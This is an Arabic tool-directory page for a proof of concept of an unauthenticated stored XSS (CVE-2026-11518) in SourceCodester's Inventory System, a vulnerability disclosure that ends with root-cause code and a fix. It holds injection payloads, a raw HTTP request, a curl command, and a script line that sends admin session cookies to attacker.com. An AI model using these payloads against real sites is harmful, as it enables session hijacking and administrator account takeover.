Skip to content
KitploitKITPLOIT
أدواتالمدونة
إرسال
أدواتالمدونة
إرسال

أدوات الاختراق واختبار الاختراق والأمن السيبراني لترسانتك الأمنية!

Kitploit هو دليل لأدوات الاختراق والأمن السيبراني واختبار الاختراق. اكتشف آخر تحديثات المشاريع للعثور على الثغرات وتحليل الأنظمة وأتمتة الاختبارات وتعزيز أمنك.

··الخلاصات·اتصال·الخصوصية·© 2026 Kitploit

دليل الأدوات

الفئات

عرض جميع الفئات
Loading categories
CVE-2026-11518-XSS — إثبات المفهوم لـ XSS مخزنة غير مصادق عليها في SourceCodester Inventory System، يوضح اختطاف جلسة المسؤول عبر حمولات تسجيل مصممة. | Kitploit
أدوات/GitHubGitHub/xmyronn/cve-2026-11518-xss
تحليل الثغرات الأمنيةاستغلال تطبيقات الويبأمن الويبCTFاختبار الاختراقالتعلم والتعليم
GitHubxmyronn/cve-2026-11518-xss

CVE-2026-11518-XSS

إثبات المفهوم لـ XSS مخزنة غير مصادق عليها في SourceCodester Inventory System، يوضح اختطاف جلسة المسؤول عبر حمولات تسجيل مصممة.

عرض المستودع
13منذ 3 أشهرلم تتم المراجعة بعد

الأكثر شعبية

عرض الكل →

اكتشف الأدوات الأكثر استخدامًا من قبل مجتمعنا.

استكشف جميع الأدوات

تصفح مجموعتنا من الأدوات

عرض جميع الأدوات →
مشاركة

ثغرة XSS مخزنة في نظام المخزون باستخدام PHP وMySQL

تفاصيل الثغرة

الحقلالتفاصيل
نوع الثغرةتخزين البرمجة النصية عبر المواقع (XSS)
التطبيق المتأثرنظام المخزون باستخدام PHP وMySQL
البائعSourceCodester
الإصدار المتأثر1.0
الملف المتأثرregister.php
الحقولfullname, username
مصادقة مطلوبةلا (بدون مصادقة)
الأثراختطاف جلسة المسؤول، تنفيذ سكربت ضار في لوحة التحكم
درجة CVSS8.8 (عالية)
متجه CVSSCVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:H/I:H/A:N

الوصف

نظام المخزون باستخدام PHP وMySQL من SourceCodester (تم تقديمه في 23 مايو 2026) معرض لثغرة البرمجة النصية عبر المواقع (XSS) المخزنة بدون مصادقة في وحدة تسجيل الموظفين (register.php).

لا تقوم حقول الإدخال fullname وusername بتعقيم أو ترميز المدخلات المقدمة من المستخدم قبل تخزينها في قاعدة البيانات. عندما يزور المسؤول صفحة إدارة المستخدمين (users.php)، يتم عرض الحمولات غير المعقمة مباشرة في سياق HTML، مما يتسبب في تنفيذ JavaScript فورًا في جلسة متصفح المسؤول.

نظرًا لأن التسجيل لا يتطلب مصادقة، يمكن لمهاجم عن بُعد غير مصادق حقن JavaScript عشوائية سيتم تنفيذها في سياق أي مسؤول يشاهد لوحة إدارة المستخدمين.


سيناريو الهجوم

  1. يزور المهاجم /product_inventory/register.php — لا يلزم تسجيل دخول.
  2. يُرسل المهاجم حمولة ضارة في حقلي fullname و/أو username.
  3. تُخزَّن الحمولة في قاعدة البيانات دون تعقيم.
  4. عندما يسجل المسؤول الدخول وينتقل إلى /product_inventory/users.php، يتم تنفيذ الحمولة تلقائيًا في متصفح المسؤول.
  5. يمكن للمهاجم سرقة ملف تعريف ارتباط الجلسة الخاص بالمسؤول، أو إعادة توجيه المسؤول إلى صفحة تصيّد، أو تنفيذ أي إجراء نيابةً عن المسؤول.

إثبات الفكرة

الخطوة 1 — الانتقال إلى صفحة التسجيل (بدون مصادقة)

root@kitploit:~
http://<TARGET>/product_inventory/register.php

الخطوة 2 — إرسال نموذج التسجيل التالي

حمولة حقل الاسم الكامل:

root@kitploit:~
<script>alert(1)</script>

حمولة حقل اسم المستخدم:

root@kitploit:~
<script>alert(2)</script>

كلمة المرور: أي قيمة (مثل test1234)

الخطوة 3 — طلب HTTP (Burp Suite / curl)

root@kitploit:~
POST /product_inventory/register.php HTTP/1.1
Host: <TARGET>
Content-Type: application/x-www-form-urlencoded

fullname=<script>alert(1)</script>&username=<script>alert(2)</script>&password=test1234&submit=

ما يعادله في curl:

root@kitploit:~
curl -X POST "http://<TARGET>/product_inventory/register.php" \
  -d "fullname=<script>alert(1)</script>&username=<script>alert(2)</script>&password=test1234&submit="

الخطوة 4 — التشغيل كمسؤول

سجّل الدخول كمسؤول وانتقل إلى:

root@kitploit:~
http://<TARGET>/product_inventory/users.php

يتم تنفيذ كلتا الحمولتين فورًا عند تحميل الصفحة.


الأثر

يمكن للمهاجم غير المصادق أن:

  • سرقة ملفات تعريف ارتباط جلسة المسؤول — مما يسمح بالاستيلاء الكامل على حساب المسؤول
  • إعادة توجيه المسؤول إلى صفحات تصيّد
  • تنفيذ إجراءات على مستوى المسؤول بصمت عبر JavaScript (إنشاء/حذف المستخدمين، التلاعب بالمخزون)
  • نشر keylogger دائم في لوحة التحكم
  • تشويه واجهة المسؤول

مثال على حمولة سرقة ملف تعريف ارتباط الجلسة (استبدل بخادم المهاجم):

root@kitploit:~
<script>document.location='http://attacker.com/steal?c='+document.cookie</script>

لقطات الشاشة

الخطوة 1 — حقن الحمولات في نموذج التسجيل

Screenshot 2026-05-24 051430

الخطوة 2 — تشغيل XSS على صفحة users.php الخاصة بالمسؤول

Screenshot 2026-05-24 051452

الكود المتأثر (السبب الجذري)

توجد الثغرة لأن register.php يُدخل إدخال المستخدم مباشرة في قاعدة البيانات دون تعقيم، ويقوم users.php بإخراج القيم المخزنة دون ترميز باستخدام htmlspecialchars().

النمط المعرض للخطر في users.php (تقريبي):

root@kitploit:~
// Unsafe — outputs raw database value directly into HTML
echo $row['fullname'];
echo $row['username'];

الإصلاح — تطبيق ترميز المخرجات:

root@kitploit:~
echo htmlspecialchars($row['fullname'], ENT_QUOTES, 'UTF-8');
echo htmlspecialchars($row['username'], ENT_QUOTES, 'UTF-8');

بالإضافة إلى ذلك، يجب تعقيم الإدخال عند الإدراج في register.php باستخدام strip_tags() أو العبارات المعدة (prepared statements) مع التحقق المناسب.


المعالجة

  1. قم بترميز جميع المخرجات باستخدام htmlspecialchars() مع ENT_QUOTES قبل عرض البيانات المقدمة من المستخدم في HTML.
  2. تحقق وعقّم جميع حقول الإدخال من جهة الخادم عند نقطة الدخول.
  3. نفّذ ترويسة سياسة أمان المحتوى (CSP) للتخفيف من تأثير XSS.

المراجع

  • SourceCodester — نظام المخزون باستخدام PHP وMySQL

أبلغ عنها سيد عماد الدين ألفي — باحث أمني مستقل

تنزيل الأداة